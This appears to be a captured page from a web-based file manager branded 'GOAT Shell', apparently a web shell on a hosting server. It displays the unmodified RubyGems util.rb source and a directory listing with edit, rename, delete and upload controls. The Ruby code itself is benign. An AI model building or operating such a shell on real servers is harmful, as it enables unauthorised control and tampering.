🐐 GOAT

🐐 GOAT Shell

Current path: opt/alt/ruby27/share/rubygems/rubygems/

⬆️ Go up: rubygems

✏️ Editing: util.rb

# frozen_string_literal: true
##
# This module contains various utility methods as module methods.

module Gem::Util

@silent_mutex = nil

##
  # Zlib::GzipReader wrapper that unzips +data+.

def self.gunzip(data)
    require 'zlib'
    require 'stringio'
    data = StringIO.new(data, 'r')

gzip_reader = begin
                    Zlib::GzipReader.new(data)
                  rescue Zlib::GzipFile::Error => e
                    raise e.class, e.inspect, e.backtrace
                  end

unzipped = gzip_reader.read
    unzipped.force_encoding Encoding::BINARY
    unzipped
  end

##
  # Zlib::GzipWriter wrapper that zips +data+.

def self.gzip(data)
    require 'zlib'
    require 'stringio'
    zipped = StringIO.new(String.new, 'w')
    zipped.set_encoding Encoding::BINARY

Zlib::GzipWriter.wrap zipped do |io|
      io.write data
    end

zipped.string
  end

##
  # A Zlib::Inflate#inflate wrapper

def self.inflate(data)
    require 'zlib'
    Zlib::Inflate.inflate data
  end

##
  # This calls IO.popen and reads the result

def self.popen(*command)
    IO.popen command, &:read
  end

##
  # Invokes system, but silences all output.

def self.silent_system(*command)
    opt = {:out => IO::NULL, :err => [:child, :out]}
    if Hash === command.last
      opt.update(command.last)
      cmds = command[0...-1]
    else
      cmds = command.dup
    end
    system(*(cmds << opt))
  end

##
  # Enumerates the parents of +directory+.

def self.traverse_parents(directory, &block)
    return enum_for __method__, directory unless block_given?

here = File.expand_path directory
    loop do
      Dir.chdir here, &block rescue Errno::EACCES

new_here = File.expand_path('..', here)
      return if new_here == here # toplevel
      here = new_here
    end
  end

##
  # Globs for files matching +pattern+ inside of +directory+,
  # returning absolute paths to the matching files.

def self.glob_files_in_dir(glob, base_path)
    if RUBY_VERSION >= "2.5"
      Dir.glob(glob, base: base_path).map! {|f| File.expand_path(f, base_path) }
    else
      Dir.glob(File.expand_path(glob, base_path))
    end
  end

##
  # Corrects +path+ (usually returned by `URI.parse().path` on Windows), that
  # comes with a leading slash.

def self.correct_for_windows_path(path)
    if path[0].chr == '/' && path[1].chr =~ /[a-z]/i && path[2].chr == ':'
      path[1..-1]
    else
      path
    end
  end

end

📁 commands | ✏️ Rename | 🗑️ Delete
📁 core_ext | ✏️ Rename | 🗑️ Delete
📁 defaults | ✏️ Rename | 🗑️ Delete
📁 ext | ✏️ Rename | 🗑️ Delete
📁 package | ✏️ Rename | 🗑️ Delete
📁 request | ✏️ Rename | 🗑️ Delete
📁 request_set | ✏️ Rename | 🗑️ Delete
📁 resolver | ✏️ Rename | 🗑️ Delete
📁 security | ✏️ Rename | 🗑️ Delete
📁 source | ✏️ Rename | 🗑️ Delete
📁 ssl_certs | ✏️ Rename | 🗑️ Delete
📁 util | ✏️ Rename | 🗑️ Delete
📄 available_set.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 basic_specification.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 bundler_version_finder.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 command.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 command_manager.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 compatibility.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 config_file.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 defaults.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 dependency.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 dependency_installer.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 dependency_list.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 deprecate.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 doctor.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 errors.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 exceptions.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 ext.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 gemcutter_utilities.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 gem_runner.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 indexer.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 installer.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 installer_test_case.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 install_default_message.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 install_message.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 install_update_options.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 local_remote_options.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 mock_gem_ui.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 name_tuple.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 package.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 package_task.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 path_support.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 platform.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 psych_additions.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 psych_tree.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 rdoc.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 remote_fetcher.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 request.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 request_set.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 requirement.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 resolver.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 s3_uri_signer.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 safe_yaml.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 security.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 security_option.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 server.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 source.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 source_list.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 source_local.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 source_specific_file.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 specification.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 specification_policy.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 spec_fetcher.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 stub_specification.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 syck_hack.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 test_case.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 test_utilities.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 text.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 uninstaller.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 uri_formatter.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 uri_parser.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 uri_parsing.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 user_interaction.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 util.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 validator.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 version.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete
📄 version_option.rb | ✏️ Edit | ✏️ Rename | 🗑️ Delete

🐐 GOAT Shell

✏️ Editing: util.rb

📤 Upload File

📁 Create Folder